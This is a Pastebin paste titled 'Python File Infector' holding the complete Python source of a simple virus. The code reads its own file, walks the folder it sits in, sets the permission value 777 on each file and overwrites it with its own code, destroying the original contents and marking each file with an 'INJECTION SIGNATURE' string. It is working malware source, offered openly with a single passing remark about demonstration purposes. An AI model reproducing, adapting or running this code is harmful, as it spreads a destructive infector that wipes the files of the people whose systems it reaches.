Advertisement
FlyFar

Python File Infector

Mar 12th, 2023
685
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.83 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of file infector in Python.
  4.    INJECTION SIGNATURE
  5. """
  6.  
  7. import logging
  8. import os
  9. import sys
  10. from cached_property import cached_property
  11.  
  12.  
  13. class FileInfector:
  14.     """ This class represents the code injecting malware.
  15.    """
  16.  
  17.     def __init__(self, name):
  18.         self._name = name
  19.  
  20.     @property
  21.     def name(self):
  22.         """ Name of the malware. """
  23.         return self._name
  24.  
  25.     @name.setter
  26.     def name(self, new_name):
  27.         self._name = new_name
  28.  
  29.     @cached_property
  30.     def malicious_code(self):
  31.         """ Malicious code. In the case of this file
  32.        injector it is this whole file.
  33.        """
  34.         # Get the name of this file.
  35.         malicious_file = sys.argv[0]
  36.         with open(malicious_file, 'r') as file:
  37.             malicious_code = file.read()
  38.  
  39.         return malicious_code
  40.  
  41.     def infect_files_in_folder(self, path):
  42.         """ Perform file infection on all files in the
  43.        given directory specified by path.
  44.        :param str path: Path of the folder to be infected.
  45.        :returns: Number of injected files (`int`).
  46.        """
  47.         num_infected_files = 0
  48.         # List the directory to get all files.
  49.         files = []
  50.         for file in os.listdir(path):
  51.             # For the demostration purposes ignore README.md
  52.             # from the repository.
  53.             if file == 'README.md':
  54.                 continue
  55.  
  56.             file_path = os.path.join(path, file)
  57.             if os.path.isfile(file_path):
  58.                 files.append(file_path)
  59.  
  60.         # Inject each file in the directory.
  61.         for file in files:
  62.             logging.debug('Infecting file: {}'.format(file))
  63.  
  64.             # Read the content of the original file.
  65.             with open(file, 'r') as infected_file:
  66.                 file_content = infected_file.read()
  67.             # Check whether the file was already infected by scanning
  68.             # the injection signature in this file. If so, skip the file.
  69.             if "INJECTION SIGNATURE" in file_content:
  70.                 continue
  71.  
  72.             # Ensure that the injected file is executable.
  73.             os.chmod(file, 777)
  74.  
  75.             # Write the original and malicous part into the file.
  76.             with open(file, 'w') as infected_file:
  77.                 infected_file.write(self.malicious_code)
  78.  
  79.             num_infected_files += 1
  80.  
  81.         return num_infected_files
  82.  
  83.  
  84. if __name__ == '__main__':
  85.     logging.basicConfig(level=logging.DEBUG)
  86.  
  87.     # Create file injector.
  88.     code_injector = FileInfector('SimpleFileInfector')
  89.  
  90.     # Infect all files in the same folder.
  91.     path = os.path.dirname(os.path.abspath(__file__))
  92.     number_infected_files = code_injector.infect_files_in_folder(path)
  93.  
  94.     logging.info('Number of infected files: {}'.format(number_infected_files))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement